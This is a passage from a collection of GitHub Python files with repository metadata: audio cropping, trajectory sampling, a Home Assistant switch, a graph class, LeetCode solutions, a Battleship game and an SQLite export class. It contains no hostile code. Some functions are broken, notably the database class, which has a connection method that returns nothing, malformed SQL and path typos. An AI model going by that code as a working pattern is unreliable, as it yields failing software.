directory\noutput_directory = r'E:\\Thesis\\Datasets\\231004_Gunshot_datasets\\audio\\val\\nocall' # Replace with the path to your output directory\n\n# Ensure the output directory exists\nif not os.path.exists(output_directory):\n os.makedirs(output_directory)\n\n# List all files in the input directory\nfor filename in os.listdir(input_directory):\n if filename.endswith(\".wav\"):\n input_wav_file = os.path.join(input_directory, filename)\n output_wav_file = os.path.join(output_directory, filename)\n \n with wave.open(input_wav_file, 'rb') as wav_file:\n num_channels = wav_file.getnchannels()\n sample_width = wav_file.getsampwidth()\n frame_rate = wav_file.getframerate()\n audio_data = wav_file.readframes(-1)\n\n cropped_audio_data = audio_data[:1000 * num_channels * sample_width]\n\n with wave.open(output_wav_file, 'wb') as wav_file:\n wav_file.setnchannels(num_channels)\n wav_file.setsampwidth(sample_width)\n wav_file.setframerate(frame_rate)\n wav_file.writeframes(cropped_audio_data)\n\n print(f'Cropped and saved to \"{output_wav_file}\"')","repo_name":"JustifiedAnciantOfMUMU/whaley_good_python_code","sub_path":"Libs/Tools/Crop_Audio.py","file_name":"Crop_Audio.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"13412322176","text":"import numpy as np\r\nfrom math import sqrt\r\n\r\n# %%\r\ndef normalize(x):\r\n return x/np.linalg.norm(x,2)\r\n\r\ndef sampleReferenceTrajectory(nSamples, referenceTrajectory, vehicle_x,vehicle_y, stepSize):\r\n ReferencePoints = np.zeros([nSamples,2])\r\n \r\n _, _, x, y, TrajectoryIndex = getShortestDistance(referenceTrajectory[:,0],referenceTrajectory[:,1],vehicle_x,vehicle_y)\r\n \r\n nLinePieces = referenceTrajectory.shape[0]\r\n currentPoint = np.array([[x,y]])\r\n \r\n # All line-segments are assumed to be longer than stepSize. \r\n # Should it become necessary to have short line-segments this algorithm needs to be changed.\r\n for i in range(nLinePieces-1):\r\n assert (np.linalg.norm(referenceTrajectory[i+1,:]-referenceTrajectory[i,:],ord=2)>stepSize) \r\n for i in range(nSamples):\r\n # make a step\r\n remainingLength = np.linalg.norm(currentPoint-referenceTrajectory[TrajectoryIndex,:],ord=2)\r\n if (remainingLength > stepSize) or (TrajectoryIndex == nLinePieces):\r\n currentPoint = currentPoint + stepSize*normalize(referenceTrajectory[TrajectoryIndex,:]-referenceTrajectory[TrajectoryIndex-1,:])\r\n else:\r\n currentPoint = referenceTrajectory[TrajectoryIndex,:]\r\n TrajectoryIndex = min(TrajectoryIndex, nLinePieces-1) \r\n currentPoint = currentPoint + (stepSize-remainingLength)*normalize(referenceTrajectory[TrajectoryIndex,:]-referenceTrajectory[TrajectoryIndex-1,:])\r\n \r\n # record step\r\n ReferencePoints[i,:] = currentPoint\r\n return ReferencePoints\r\n\r\ndef getShortestDistance(curve_x,curve_y,x,y):\r\n # Finds the point on a piecewise linear curve that is closest to a given point.\r\n # Params:\r\n # curve_x, curve_y: [vector (n,)] A polygonal chain (a.k.a. piecewise linear curve), \r\n # x,y: [vector (n,)] The point to be projected onto the curve\r\n # Returns:\r\n # x_min, y_min: The projected point on the curve.\r\n # arclength_min: Arc length on the curve between (curve_x(1),curve_y(1)) and (x_min,y_min).\r\n # signed_distance_min: Signed distance between (x_min,y_min) and (x,y). Left ~ positive, right ~ negative.\r\n\r\n assert (isinstance(x, int) or isinstance(x, float))\r\n assert (isinstance(y, int) or isinstance(y, float))\r\n assert (len(curve_x) == len(curve_y))\r\n assert (len(curve_x) >= 2)\r\n arclength_sum = 0\r\n\r\n \r\n # Guess first point as minimum\r\n x_min = curve_x[1]\r\n y_min = curve_y[1]\r\n arclength_min=0\r\n signed_distance_min = sqrt((x-curve_x[1])**2 +(y-curve_y[1])**2)\r\n index_min = 2\r\n \r\n for j in range(1,len(curve_x)):\r\n xp, yp, signed_distance, lambda_para, piecelength = Projection2D(curve_x[j-1],curve_y[j-1],curve_x[j],curve_y[j],x,y)\r\n\r\n # Projected point is between the end points.\r\n if (0 < lambda_para or j==1) and (lambda_para < 1 or j==len(curve_x)-1):\r\n if abs(signed_distance) < abs(signed_distance_min):\r\n x_min = xp\r\n y_min = yp\r\n signed_distance_min = signed_distance\r\n arclength_min= arclength_sum + lambda_para * piecelength\r\n index_min = j\r\n else:\r\n d_end = sqrt((x-curve_x[j])^2 +(y-curve_y[j])^2)\r\n if abs(d_end) < abs(signed_distance_min):\r\n x_min = curve_x[j]\r\n y_min = curve_y[j]\r\n signed_distance_min = np.sign(signed_distance)*d_end\r\n arclength_min= arclength_sum + piecelength\r\n index_min = j\r\n arclength_sum = arclength_sum+piecelength\r\n\r\n return signed_distance_min, arclength_min, x_min, y_min, index_min\r\n\r\ndef Projection2D(x1,y1,x2,y2,x3,y3):\r\n # Takes a line and a point, determines the projection (point with shortest distance), distance and 'parameter' of the projection.\r\n # Params:\r\n # x1,y1,x2,y2: Points that make a line.\r\n # x3,y3: The point to be projected.\r\n # Returns:\r\n # xp,yp: The projected point.\r\n # projection_distance: Signed distance of (xp,yp) and (x3,y3)\r\n # lambda: The line 'parameter'. Is zero if (x1,y1)==(xp,yp)\r\n # and one if (x2,y2)==(xp,yp).\r\n # line_segment_len: Distance between (x1,y1) and (x2,y2)\r\n\r\n b = sqrt((x2-x1)**2+(y2-y1)**2)\r\n line_segment_len = b\r\n if ( b != 0 ) : \r\n # normalized direction p1 to p2 \r\n xn = (x2-x1)/b\r\n yn = (y2-y1)/b\r\n \r\n # vector p1 to p3\r\n x31 = x3 - x1\r\n y31 = y3 - y1\r\n\r\n # dot product to project p3 on the line from p1 to p2\r\n projection_dotproduct = xn * x31 + yn * y31\r\n \r\n # cross product to determine the distance from the line to p3\r\n projection_distance = xn * y31 - yn * x31\r\n \r\n # calculate the projected point\r\n xp = x1 + projection_dotproduct*xn\r\n yp = y1 + projection_dotproduct*yn\r\n\r\n lambda_para = projection_dotproduct/b \r\n\r\n else:\r\n projection_distance = sqrt((x3-x1)**2+(y3-y1)**2)\r\n lambda_para = 0\r\n xp = x1\r\n yp = y1\r\n \r\n return xp, yp, projection_distance, lambda_para, line_segment_len\r\n","repo_name":"wanyinhai/Senquential-Convex-Programming-for-Trajectory-Planning","sub_path":"SampleReferTraj.py","file_name":"SampleReferTraj.py","file_ext":"py","file_size_in_byte":5325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"3054724661","text":"\"\"\"Suppoort for Ariston Aqua switch.\"\"\"\nfrom datetime import timedelta\n\nfrom homeassistant.components.switch import SwitchEntity\nfrom homeassistant.const import CONF_SWITCHES, CONF_NAME\n\nfrom .const import (\n DATA_ARISTONAQUA,\n DEVICES,\n VALUE,\n PARAM_ON,\n PARAM_ECO,\n)\n\nSWITCH_POWER = \"Power\"\nSWITCH_ECO = \"Eco Mode\"\n\nSCAN_INTERVAL = timedelta(seconds=2)\n\nSWITCHES = {\n PARAM_ON: (SWITCH_POWER, \"mdi:power\"),\n PARAM_ECO: (SWITCH_ECO, \"mdi:leaf\"),\n}\n\n\ndef setup_platform(hass, config, add_entities, discovery_info=None):\n \"\"\"Set up a switches for Ariston Aqua.\"\"\"\n if discovery_info is None:\n return\n\n name = discovery_info[CONF_NAME]\n device = hass.data[DATA_ARISTONAQUA][DEVICES][name]\n add_entities(\n [\n AristonAquaSwitch(name, device, switch_type)\n for switch_type in discovery_info[CONF_SWITCHES]\n ],\n True,\n )\n\n\nclass AristonAquaSwitch(SwitchEntity):\n \"\"\"Switch for Ariston Aqua.\"\"\"\n\n def __init__(self, name, device, switch_type):\n \"\"\"Initialize entity.\"\"\"\n self._api = device.api.ariston_api\n self._icon = SWITCHES[switch_type][1]\n self._name = \"{} {}\".format(name, SWITCHES[switch_type][0])\n self._switch_type = switch_type\n self._state = None\n self._device = device.device\n\n @property\n def unique_id(self):\n \"\"\"Return the unique id.\"\"\"\n return f\"{self._name}-{self._switch_type}\"\n\n @property\n def should_poll(self):\n \"\"\"Return True if entity has to be polled for state.\"\"\"\n return True\n\n @property\n def name(self):\n \"\"\"Return the name of this Switch device if any.\"\"\"\n return self._name\n\n @property\n def icon(self):\n \"\"\"Return the state attributes.\"\"\"\n return self._icon\n\n @property\n def available(self):\n \"\"\"Return True if entity is available.\"\"\"\n try:\n return (\n self._api.available\n and not self._api.sensor_values[self._switch_type][VALUE] is None\n )\n except KeyError:\n return False\n\n @property\n def is_on(self):\n \"\"\"Return true if switch is on.\"\"\"\n try:\n if not self._api.available:\n return False\n return self._api.sensor_values[self._switch_type][VALUE]\n except KeyError:\n return False\n\n def turn_on(self, **kwargs):\n \"\"\"Turn the switch on.\"\"\"\n self._api.set_http_data(**{self._switch_type: \"true\"})\n\n def turn_off(self, **kwargs):\n \"\"\"Turn the device off.\"\"\"\n self._api.set_http_data(**{self._switch_type: \"false\"})\n\n def update(self):\n \"\"\"Update data\"\"\"\n return\n","repo_name":"chomupashchuk/ariston-aqua-remotethermo-home-assistant","sub_path":"custom_components/aquaariston/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":2720,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"40"} +{"seq_id":"4656713719","text":"import copy\nfrom random import randrange\n\nNoEdge = \"There is no edge between the specified vertices\"\nDuplicateEdge = \"Duplicate Edge\"\nDuplicateVertex = \"Duplicate Vertex\"\nNoVertex = \"There is no vertex with the specified value\"\nInvalidNumberOfVertices = \"The number of vertices must be a positive number\"\nInvalidNumberOfEdges = \"The number of edges must be a positive number and must be less then (noOfVertices * noOfVertices)\"\n\nclass Graph:\n\n def __init__(self, n = 0):\n\n if n < 0:\n raise ValueError(InvalidNumberOfVertices)\n\n self._vertices = set()\n self._inbound = dict()\n self._outbound = dict()\n self._edges = dict()\n\n \n for i in range(n):\n self.add_vertex(i)\n\n\n def is_vertex(self, vertex):\n return vertex in self._vertices\n\n\n def is_edge(self, vertex0, vertex1):\n\n if vertex0 not in self._vertices or vertex1 not in self._vertices:\n raise ValueError(NoVertex)\n\n return (vertex0, vertex1) in self._edges.keys()\n\n\n def count_vertices(self):\n return len(self._vertices)\n\n\n def count_edges(self):\n return len(self._edges)\n\n\n def get_in_degree(self, vertex):\n if vertex not in self._vertices:\n raise ValueError(NoVertex)\n\n return len(self._inbound[vertex])\n\n\n def get_out_degree(self, vertex):\n if vertex not in self._vertices:\n raise ValueError(NoVertex)\n\n return len(self._outbound[vertex])\n\n\n def set_edge_data(self, vertex0, vertex1, value):\n if vertex0 not in self._vertices or vertex1 not in self._vertices:\n raise ValueError(NoVertex)\n\n if (vertex0, vertex1) not in self._edges:\n raise ValueError(NoEdge)\n\n self._edges[(vertex0, vertex1)] = value\n\n\n def get_edge_data(self, vertex0, vertex1):\n if vertex0 not in self._vertices or vertex1 not in self._vertices:\n raise ValueError(NoVertex)\n\n if (vertex0, vertex1) not in self._edges:\n raise ValueError(NoEdge)\n\n return self._edges[(vertex0, vertex1)]\n\n\n def add_edge(self, vertex0, vertex1):\n if vertex0 not in self._vertices or vertex1 not in self._vertices:\n raise ValueError(NoVertex)\n\n if (vertex0, vertex1) in self._edges:\n raise ValueError(DuplicateEdge)\n\n self._outbound[vertex0].add(vertex1)\n self._inbound[vertex1].add(vertex0)\n self._edges[(vertex0, vertex1)] = 0\n\n\n def remove_edge(self, vertex0, vertex1):\n if vertex0 not in self._vertices or vertex1 not in self._vertices:\n raise ValueError(NoVertex)\n\n if (vertex0, vertex1) not in self._edges:\n raise ValueError(NoEdge)\n\n self._outbound[vertex0].remove(vertex1)\n self._inbound[vertex1].remove(vertex0)\n del self._edges[(vertex0, vertex1)]\n\n\n def add_vertex(self, vertex):\n if vertex in self._vertices:\n raise ValueError(DuplicateVertex)\n\n self._vertices.add(vertex)\n self._inbound[vertex] = set()\n self._outbound[vertex] = set()\n\n\n def remove_vertex(self, vertex):\n if vertex not in self._vertices:\n raise ValueError(NoVertex)\n\n remove = []\n\n for neighbor in self._outbound[vertex]:\n remove.append((vertex, neighbor))\n\n for neighbor in self._inbound[vertex]:\n remove.append((neighbor, vertex))\n \n for edge in remove:\n self.remove_edge(edge[0], edge[1])\n\n \n del self._inbound[vertex]\n del self._outbound[vertex]\n self._vertices.remove(vertex)\n\n\n def vertices_iterator(self):\n for vertex in self._vertices:\n yield vertex\n\n\n def inbound_iterator(self, vertex):\n if vertex not in self._vertices:\n return ValueError(NoVertex)\n\n for n in self._inbound[vertex]:\n yield n\n\n\n def outbound_iterator(self, vertex):\n if vertex not in self._vertices:\n return ValueError(NoVertex)\n\n for n in self._outbound[vertex]:\n yield n\n\n\n def get_copy(self):\n return copy.deepcopy(self)\n\n\n def __str__(self):\n\n string = \"\"\n\n for vertex in self._vertices:\n for y in self._outbound[vertex]:\n string += f\"{vertex} {y} {self.get_edge_data(vertex, y)}\\n\"\n\n return string\n\n\ndef read_from_file(path):\n\n with open(path, \"r\") as file:\n lines = file.readlines()\n line = lines[0].split()\n vertices = int(line[0])\n edges = int(line[1])\n \n g = Graph(vertices)\n\n for i in range(1, edges + 1):\n line = lines[i].split()\n vertex0 = int(line[0])\n vertex1 = int(line[1])\n cost = int(line[2])\n g.add_edge(vertex0, vertex1)\n g.set_edge_data(vertex0, vertex1, cost)\n\n return g\n\ndef write_to_file(graph: Graph, path):\n with open(path, \"w\") as file:\n file.write(f\"{graph.count_vertices()} {graph.count_edges()}\\n\")\n\n for x in graph.vertices_iterator():\n for y in graph.outbound_iterator(x):\n file.write(f\"{x} {y} {graph.get_edge_data(x, y)}\\n\")\n\n\ndef generate_graph(n, m):\n\n if m < 0 or n * n < m:\n raise ValueError(InvalidNumberOfEdges)\n\n g = Graph(n)\n\n i = 0\n while i < m:\n x = randrange(n)\n y = randrange(n)\n cost = randrange(200)\n\n try:\n g.add_edge(x, y)\n g.set_edge_data(x, y, cost)\n except:\n i -= 1\n\n i += 1\n\n return g","repo_name":"SamuelSamy/University","sub_path":"Semester-2/Graphs/Assignment01/Python/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"14032143820","text":"'''\n\n 143. Reorder List\n\n\n s f\n 1 2 3 4 \n \n \n s f\n 1 2 3 4 5\n \n\n'''\n\nimport os, sys\ncurrentdir = os.path.dirname(os.path.realpath(__file__))\nparentdir = os.path.dirname(currentdir)\nsys.path.append(parentdir)\n\nfrom DataStrucutres import ListNode, createList\nfrom _utils import printLinkedList\n\n\nclass Solution:\n def reorderList(self, head):\n s = f = head\n r = q = None\n \n while f and f.next:\n q = s\n s = s.next\n f = f.next\n if f: f = f.next\n \n if f is not None: \n q = s\n s = s.next\n q.next = None\n q = None\n \n while s:\n r = q\n q = s\n s = s.next\n q.next = r\n \n dum = ListNode(0)\n cur = dum\n p = head\n \n while p:\n cur.next = p\n p = p.next\n cur = cur.next\n \n if q:\n cur.next = q\n q = q.next\n cur = cur.next\n \n return dum.next\n \n\ndef runSolution():\n head = createList([1,2,3,4,5])\n solution = Solution()\n printLinkedList(head)\n printLinkedList(solution.reorderList(head))\n pass\nrunSolution()\n\n","repo_name":"AlexanderDLe/Python_DataStructuresAndAlgorithms","sub_path":"LinkedList/ReorderList.py","file_name":"ReorderList.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"71274258360","text":"class Solution:\n def searchRange(self, nums: List[int], target: int) -> List[int]:\n if not nums:return [-1,-1]\n leng=len(nums)\n head=0\n tail=leng-1\n index=leng//2\n while 1:\n if nums[index]==target:\n ans=[index]*2\n while ans[0]>-1 and nums[ans[0]]==target:ans[0]-=1\n while ans[1]target:\n tail=index\n index=(head+tail)//2\n elif nums[index]> i) & 1: # 获取 n 的第 i 位值 (0 或者 1)\n res |= 1 << (31 - i) # 将第 31 - i 位置为 1\n return res","repo_name":"algorithm004-02/algorithm004-02","sub_path":"Week 07/id_387/LeetCode_190_387.py","file_name":"LeetCode_190_387.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"40"} +{"seq_id":"24144854500","text":"from copy import deepcopy\nfrom enum import Enum\n\nfrom board import GameBoard, Board, field_on_board\nfrom enemy import Enemy\nfrom fleet import Fleet\nfrom settings import Setting, Settings\n\n\nclass GameMessage(Enum):\n NOT_PLAYERS_TURN = 0,\n INVALID_COORDS = 1,\n ENEMY_SHIP_HIT = 2,\n ENEMY_SHIP_SUNK = 3,\n ENEMY_MISS = 4,\n ENEMY_WIN = 5,\n FIELD_MARK_FAIL = 6,\n FIELD_UNMARK_FAIL = 7,\n GAME_HELP = 8,\n PLAYER_SHIP_HIT = 9,\n PLAYER_SHIP_SUNK = 10,\n PLAYER_MISS = 11,\n PLAYER_WIN = 12,\n FIELD_ALREADY_DISCOVERED = 13,\n PLAYERS_TURN = 14\n\n\nclass Game:\n \"\"\"\n Handles the game\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Creates game objects and variables needed to run the game\n \"\"\"\n self._player_board = None\n self._enemy_board = None\n self._player_fleet = None\n self._enemy_fleet = None\n self._enemy = None\n self._players_turn = True\n self._won = False\n self._messages = []\n self._settings = None\n self.apply_settings(None)\n\n def apply_settings(self, settings: dict = None):\n if settings is None:\n default_settings = Settings()\n self._settings = default_settings.get_settings()\n else:\n self._settings = settings\n\n def _create_enemy_fleet(self):\n \"\"\"\n Creates enemy's fleet and board\n \"\"\"\n self._enemy_fleet = Fleet()\n self._enemy_fleet.create_random()\n enemy_board = Board()\n enemy_board.place_fleet(self._enemy_fleet)\n self._enemy_board = GameBoard(enemy_board)\n\n def start_game(self, player_board: Board, player_fleet: Fleet):\n \"\"\"\n Starts the game by assigning boards and fleets\n :param player_board: player's board, created in the setup phase\n :type player_board: GameBoard\n :param player_fleet: player's fleet, also from the setup phase\n :type player_fleet: Fleet\n \"\"\"\n self._player_board = GameBoard(player_board)\n self._enemy = Enemy(self._settings[Setting.HARD_ENEMY])\n self._player_fleet = player_fleet\n self._create_enemy_fleet()\n self._players_turn = True\n self._won = False\n self._message_players_turn()\n\n def discover_field(self, x: str, y: int) -> bool:\n \"\"\"\n Handles the field discovery process for the player\n :param x: x coordinate of a field\n :type x: str\n :param y: y coordinate of a field\n :type y: int\n :return: True if the player hit enemy's ship, otherwise false. True is\n also returned when the move failed because of discovering fields on\n coordinates outside the board or fields already discovered, to\n prevent the player from losing their turn\n \"\"\"\n if not self._players_turn:\n self._message_not_players_turn()\n return False\n if not field_on_board((x, y)):\n self._message_invalid_coordinates()\n return True\n if not self._enemy_board.field_undiscovered(x, y):\n self._message_field_already_discovered()\n return True\n self._players_turn = False\n hit = self._enemy_board.discover_field(x, y)\n if hit:\n self._players_turn = True\n self._message_enemy_ship_hit()\n sunk = self._enemy_fleet.hit(x, y)\n if sunk:\n self._message_enemy_ship_sunk()\n ship_to_sink = self._enemy_fleet.find_ship(x, y)\n self._enemy_board.sink_ship(ship_to_sink)\n if self._settings[Setting.MARK_MISSES_AROUND]:\n self._enemy_board.mark_misses_around(ship_to_sink)\n self.check_win()\n else:\n self._message_player_miss()\n return hit\n\n def mark_field(self, x: str, y: int):\n \"\"\"\n Handles the field marking process for the player\n :param x: x coordinate of a field\n :type x: str\n :param y: y coordinate of a field\n :type y: int\n \"\"\"\n if not field_on_board((x, y)):\n self._message_invalid_coordinates()\n return\n marked = self._enemy_board.mark_as_empty(x, y)\n if not marked:\n self._message_field_mark_fail()\n\n def unmark_field(self, x: str, y: int):\n \"\"\"\n Handles the field unmarking process for the player\n :param x: x coordinate of a field\n :type x: str\n :param y: y coordinate of a field\n :type y: int\n \"\"\"\n if not field_on_board((x, y)):\n self._message_invalid_coordinates()\n return\n unmarked = self._enemy_board.unmark_as_empty(x, y)\n if not unmarked:\n self._message_field_unmark_fail()\n\n def game_help(self):\n \"\"\"\n Handles the help command output\n \"\"\"\n self._message_game_help()\n\n def enemy_move(self) -> bool:\n \"\"\"\n Handles the computer enemy's move\n :return: True if the enemy hit player's ship, otherwise false.\n \"\"\"\n if self._players_turn:\n return False\n target = self._enemy.shoot()\n x, y = target\n hit = self._player_board.discover_field(x, y)\n if hit:\n self._players_turn = False\n self._message_player_ship_hit()\n sunk = self._player_fleet.hit(x, y)\n self._enemy.react_to_hit()\n if sunk:\n self._message_player_ship_sunk()\n ship_to_sink = self._player_fleet.find_ship(x, y)\n self._player_board.sink_ship(ship_to_sink)\n self._enemy.react_to_sink()\n self.check_win()\n else:\n self._players_turn = True\n self._message_enemy_miss()\n to_mark_as_empty = self._enemy.mark_as_empty()\n if to_mark_as_empty:\n for field in to_mark_as_empty:\n m_x, m_y = field\n self._player_board.mark_as_empty(m_x, m_y)\n return hit\n\n def check_win(self) -> bool:\n \"\"\"\n Checks if one of the players won the game\n :return: True if the player won, False if the computer enemy won\n \"\"\"\n if not self._player_fleet.is_alive():\n self._message_enemy_win()\n self._won = True\n return False\n if not self._enemy_fleet.is_alive():\n self._message_player_win()\n self._won = True\n return True\n\n def get_player_board_display(self) -> Board:\n \"\"\"\n Returns player's board to display\n \"\"\"\n return self._player_board.get_display_board()\n\n def get_enemy_board_display(self) -> Board:\n \"\"\"\n Returns enemy's board to display\n \"\"\"\n return self._enemy_board.get_display_board(display_as_enemy=True)\n\n def get_player_fleet_display(self) -> Fleet:\n \"\"\"\n Returns player's fleet\n \"\"\"\n return self._player_fleet.get_display_fleet()\n\n def get_enemy_fleet_display(self) -> Fleet:\n \"\"\"\n Returns enemy's fleet\n \"\"\"\n return self._enemy_fleet.get_display_fleet(display_as_enemy=True)\n\n def _message_not_players_turn(self):\n \"\"\"\n Adds the message about player turning while the enemy should to the\n messages list\n \"\"\"\n self._messages.append(GameMessage.NOT_PLAYERS_TURN)\n\n def _message_invalid_coordinates(self):\n \"\"\"\n Adds the message about invalid field coordinates to the messages list\n \"\"\"\n self._messages.append(GameMessage.INVALID_COORDS)\n\n def _message_enemy_ship_hit(self):\n \"\"\"\n Adds the message about hitting enemy's ship to the messages list\n \"\"\"\n self._messages.append(GameMessage.ENEMY_SHIP_HIT)\n\n def _message_enemy_ship_sunk(self):\n \"\"\"\n Adds the message about sinking enemy's ship to the messages list\n \"\"\"\n self._messages.append(GameMessage.ENEMY_SHIP_SUNK)\n\n def _message_enemy_miss(self):\n \"\"\"\n Adds the message about enemy missing the shot to the messages list\n \"\"\"\n self._messages.append(GameMessage.ENEMY_MISS)\n\n def _message_enemy_win(self):\n \"\"\"\n Adds the message about enemy winning the game to the messages list\n \"\"\"\n self._messages.append(GameMessage.ENEMY_WIN)\n\n def _message_field_mark_fail(self):\n \"\"\"\n Adds the message about trying to mark a field that cannot be marked to\n the messages list\n \"\"\"\n self._messages.append(GameMessage.FIELD_MARK_FAIL)\n\n def _message_field_unmark_fail(self):\n \"\"\"\n Adds the message about trying to unmark a field that is not marked to\n the messages list\n \"\"\"\n self._messages.append(GameMessage.FIELD_UNMARK_FAIL)\n\n def _message_game_help(self):\n \"\"\"\n Adds the game help content to the messages list\n \"\"\"\n self._messages.append(GameMessage.GAME_HELP)\n\n def _message_player_ship_hit(self):\n \"\"\"\n Adds the message about enemy hitting player's ship to the messages list\n \"\"\"\n self._messages.append(GameMessage.PLAYER_SHIP_HIT)\n\n def _message_player_ship_sunk(self):\n \"\"\"\n Adds the message about enemy sinking player's ship to the messages list\n \"\"\"\n self._messages.append(GameMessage.PLAYER_SHIP_SUNK)\n\n def _message_player_miss(self):\n \"\"\"\n Adds the message about player missing the shot to the messages list\n \"\"\"\n self._messages.append(GameMessage.PLAYER_MISS)\n\n def _message_player_win(self):\n \"\"\"\n Adds the message about player winning the game to the messages list\n \"\"\"\n self._messages.append(GameMessage.PLAYER_WIN)\n\n def _message_field_already_discovered(self):\n \"\"\"\n Adds the message about player trying to discover an already discovered\n field to the messages list\n \"\"\"\n self._messages.append(GameMessage.FIELD_ALREADY_DISCOVERED)\n\n def _message_players_turn(self):\n \"\"\"\n Adds the message about player's turn to the messages list\n \"\"\"\n self._messages.append(GameMessage.PLAYERS_TURN)\n\n def get_display_messages(self) -> list:\n \"\"\"\n A getter for the messages list used by the Battleship classes to get\n the messages to display\n :return: a list with all messages generated during the last move\n \"\"\"\n messages = deepcopy(self._messages)\n self._messages.clear()\n return messages\n\n def players_turn(self) -> bool:\n return self._players_turn\n\n def won(self) -> bool:\n return self._won\n","repo_name":"B1rtek/battleship-py","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":10714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"34134581007","text":"import csv\nimport os\nimport shutil\nimport sqlite3\nfrom os import listdir\n\nfrom application_loggin.logger import App_Logger\n\n\nclass DBOperation:\n \"\"\"\n This class created for handling all the perdiction data using sql\n \"\"\"\n\n def __init__(self):\n self.path = \"Prediction_Database/\"\n self.good_path = \"Prediction_Raw_Files/Good_Raw\"\n self.bad_path = \"Prediction_Raw_Files/Bad_Raw\"\n self.logger = App_Logger()\n\n def database_connection(self, DatabaseName):\n\n try:\n conn = sqlite3.connect(self.path + DatabaseName + '.db')\n file = open(\"Prediction_Logs/DatabaseConnectionLog.txt\", \"a+\")\n self.logger.log(file, \"Opened %s database successfully \" % DatabaseName)\n file.close()\n except ConnectionError as e:\n file = open(\"Prediction_Logs/DatabaseConnectionLog.txt\", \"a+\")\n self.logger.log(file, \"Error while connecting the database: %s\" % ConnectionError)\n file.close()\n raise ConnectionError\n\n def createDbTable(self, DatabaseName, column_names):\n\n \"\"\"\n create data table into database\n :param DatabaseName:\n :param column_names:\n :return:\n \"\"\"\n\n try:\n conn = self.database_connection(DatabaseName)\n conn.execute(\"DROP TABLE IF EXISTS Good_Raw_Data\")\n\n for key in column_names.keys():\n type = column_names[key]\n\n try:\n conn.execute(\n 'ALTER TABLE Good_Raw_Data ADD COLUMN \"{column_name}\" {dataType}'.format(column_name=key,\n dataType=type))\n except:\n conn.execute(\n 'CREATE TABLE Good_Raw_Data ({column_name} {dataType}'.format(column_name=key, dataType=type))\n conn.close()\n file = open(\"Prediction_Logs/dbTableCreateLog.txt\", \"a+\")\n self.logger.log(file, \"Create table successfully\")\n file.close()\n\n file = open(\"Prediction_Logs/DatabaseCreateLog.txt\", \"a+\")\n self.logger.log(file, \"Closed %s successfully \" % DatabaseName)\n file.close()\n except Exception as e:\n file = open(\"Prediction_Logs/dbTableCreateLog.txt\", \"a+\")\n self.logger.log(file, \"Error while creating table\" % e)\n file.close()\n conn.close()\n\n file = open(\"Prediction_Logs/DatabaseCreateLog.txt\", \"a+\")\n self.logger.log(file, \"Closed %s successfully\" % DatabaseName)\n file.close()\n raise e\n\n def inserGoodDatatIntoDb(self, DatabaseName):\n \"\"\"\n insert good data into Good_Raw_Data table\n :param DatabaseName:\n :return:\n \"\"\"\n conn = self.database_connection(DatabaseName)\n goodFilePath = self.good_path\n badFilePath = self.bad_path\n\n onlyFiles = [f for f in listdir(goodFilePath)]\n\n log_file = open(\"Prediction_Logs/DBInsertLog.txt\", \"a+\")\n\n for file in onlyFiles:\n try:\n with open(goodFilePath + '/' + file, \"r\") as f:\n next(f)\n reader = csv.reader(f, delimiter=\"\\n\")\n for line in enumerate(reader):\n for list_ in (line[1]):\n try:\n conn.execute(\"INSERT INTO Good_Ras_Data VALUES({values}\".format(values=list_))\n self.logger.log(log_file, \"%s : File loaded successfully\" % file)\n conn.commit()\n except Exception as e:\n raise e\n except Exception as e:\n conn.rollback()\n self.logger.log(log_file, \"%s : Error while loaded data into database\" % e)\n shutil.move(goodFilePath + '/' + file, badFilePath)\n self.logger.log(log_file, \"File Moved Successfully %s\" % file)\n log_file.close()\n conn.close()\n raise e\n conn.close()\n log_file.close()\n\n def selectingDataFromTableIntoCSV(self, DatabaseName):\n \"\"\"\n export data from table into csv format file\n :param DatabaseName:\n :return:\n \"\"\"\n\n self.fileFromDb = \"Prediction_FileFromDB/\"\n self.fileName = \"InputFile.csv\"\n log_file = open(\"Predition_Logs/ExportToCsv.txt\", \"a+\")\n\n try:\n conn = self.database_connection(DatabaseName)\n sql = \"SELECT * FROM Good_Raw_Data\"\n cursor = conn.cursor()\n\n cursor.execute(sql)\n\n res = cursor.fetchall()\n\n headers = [i[0] for i in cursor.description]\n\n if not os.path.isdir(self.fileFromDb):\n os.makedirs(self.fileFromDb)\n\n csvFile = csv.writer(open(self.fileFromDb + self.fileFromDb + self.fileName, \"w\", newline=\"\"),\n delimiter=',', lineterminator='\\r\\n', quoting=csv.QUOTE_ALL, escapechar='\\\\')\n\n csvFile.writerow(headers)\n csvFile.writerows(res)\n\n self.logger.log(log_file, \"File exported successfully\")\n\n except Exception as e:\n self.logger.log(log_file, \"File exporting failed : %s\" % e)\n raise e\n","repo_name":"jasimdipu/skill_jobs_ds_2","sub_path":"ds_project/final_project/Prediction_Database/db_operation.py","file_name":"db_operation.py","file_ext":"py","file_size_in_byte":5416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"7570750308","text":"from random import choice\nfrom controllers.eva_functions import EvaController\n\n\nclass MessageFlowHandler(object):\n\n @classmethod\n def get_response(cls, request, wit_response):\n \"\"\" \n From the intention contained in the user's\n message and the response to that intention\n chosen by the EVA controller, we will send\n the appropriate message to the user.\n \"\"\"\n intent = cls._get_intent(wit_response)\n\n return cls._choose_intent_response(request, intent)\n\n @classmethod\n def _get_intent(cls, wit_response):\n \"\"\"\n From the response of the request made to the WIT,\n we will discover the intention contained in the\n user's message.\n \"\"\"\n try:\n # Que feio!\n intent = wit_response['entities']['intent'][0]['value']\n except KeyError:\n intent = 